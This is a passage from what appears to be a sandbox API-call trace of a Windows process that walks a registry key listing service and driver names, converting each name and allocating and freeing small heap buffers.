lpUsedDefaultChar=0x0) returned 3 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.359] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.359] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.359] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.359] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0217.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.360] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.360] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.360] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0217.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.362] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.362] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.362] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0217.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.362] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.363] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.363] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0217.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 